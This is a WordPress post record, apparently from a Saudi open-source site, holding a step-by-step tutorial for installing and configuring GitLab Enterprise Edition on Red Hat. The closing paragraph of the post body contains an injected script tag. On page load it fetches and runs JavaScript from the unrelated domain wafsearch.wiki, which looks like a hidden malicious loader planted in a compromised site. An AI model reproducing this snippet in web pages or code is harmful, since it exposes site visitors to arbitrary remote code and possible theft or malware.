{"id":1874,"date":"2023-01-14T00:32:15","date_gmt":"2023-01-13T21:32:15","guid":{"rendered":"http:\/\/opensource.sa\/?p=1874"},"modified":"2025-11-26T00:26:37","modified_gmt":"2025-11-25T21:26:37","slug":"1874","status":"publish","type":"post","link":"http:\/\/opensource.sa\/?p=1874","title":{"rendered":"GitLab Deployment"},"content":{"rendered":"<p>GitLab is an open-source application primarily used to host Git repositories, with additional development-related features like issue tracking. It is designed to be hosted using your own infrastructure and provides flexibility in deploying as an internal repository store for your development team, a public way to interface with users, or a means for contributors to host their own projects.<\/p>\n<p>The GitLab project enables you to create a GitLab instance on your own hardware with a minimal installation mechanism. In this guide, you will learn how to install and configure GitLab Enterprise Edition on a Red hat Enterprise server.<\/p>\n<p><strong>GitLab Installation Procedure<\/strong><\/p>\n<p><strong>Step 1: Update system and Install Dependencies<\/strong><\/p>\n<p># sudo yum -y update<br \/>\n# sudo yum -y install curl vim policycoreutils python3-policycoreutils<\/p>\n<p>If you want to install and use local mail server for sending notifications, then install Postfix:<br \/>\n# sudo yum -y install postfix<\/p>\n<p>Start and enable Postfix service after the installation.<br \/>\n# sudo systemctl enable postfix &amp;&amp; sudo systemctl start postfix<\/p>\n<p><strong>Step 2: Add the Gitlab EE Repository<\/strong><\/p>\n<p>GitLab provides omnibus packages from a repository. These packages are compiled specifically for RHEL. A script is provided for this purpose.<br \/>\n# curl -s https:\/\/packages.gitlab.com\/install\/repositories\/gitlab\/gitlab-ee\/script.rpm.sh | sudo bash<\/p>\n<p>Alternatively, you can download the GitLab-EE RPM file, transfer it to the server, and issue the installation command.<\/p>\n<p><strong>Step 3: Install GitLab EE on RHEL 8<\/strong><\/p>\n<p>Install GitLab CE by running the command:<br \/>\n# sudo yum install gitlab-ee<\/p>\n<p><strong>Step 4: Configure GitLab EE on RHEL 8<\/strong><\/p>\n<p>Our installation is done, we can then do the GitLab configuration that works for our environment. The main configuration file for GitLab is located under \/etc\/gitlab\/gitlab.rb.<br \/>\n# sudo vi \/etc\/gitlab\/gitlab.rb<\/p>\n<p>e.g, Set URL on which GitLab will be reachable:<br \/>\nexternal_url &#8216;http:\/\/gitlab.example.com&#8217;<\/p>\n<p>Don\u2019t forget to replace gitlab.example.com with your actual domain or sub-domain for GitLab EE.<\/p>\n<p>Scroll through the configuration file and make changes accordingly. Once done, save the file and run Gitlab reconfiguration script.<br \/>\n# sudo gitlab-ctl reconfigure<\/p>\n<p>This will start a Chef local execution to configure GitLab. A successful reconfiguration shows an output like below.<\/p>\n<p><strong>Step 5: Access GitLab Web Console<\/strong><\/p>\n<p>Open your browser and go to URL http:\/\/gitlab.example.com to finish the installation of Gitlab.<br \/>\nYou\u2019re asked to create a new password for your account. Set a new password for root user then click \u201cChange your password\u201c.<\/p>\n<p>You can then login with the root username and password set above. You should be redirected to the GitLab administration dashboard after logging in.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>GitLab is an open-source application primarily used to host Git repositories, with additional development-related features like issue tracking. It is designed to be hosted using your own infrastructure and provides &#8230;<\/p>\n","protected":false},"author":1,"featured_media":1877,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-1874","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tutorials"],"_links":{"self":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1874","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1874"}],"version-history":[{"count":4,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1874\/revisions"}],"predecessor-version":[{"id":1918,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1874\/revisions\/1918"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/media\/1877"}],"wp:attachment":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1874"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1874"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1874"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}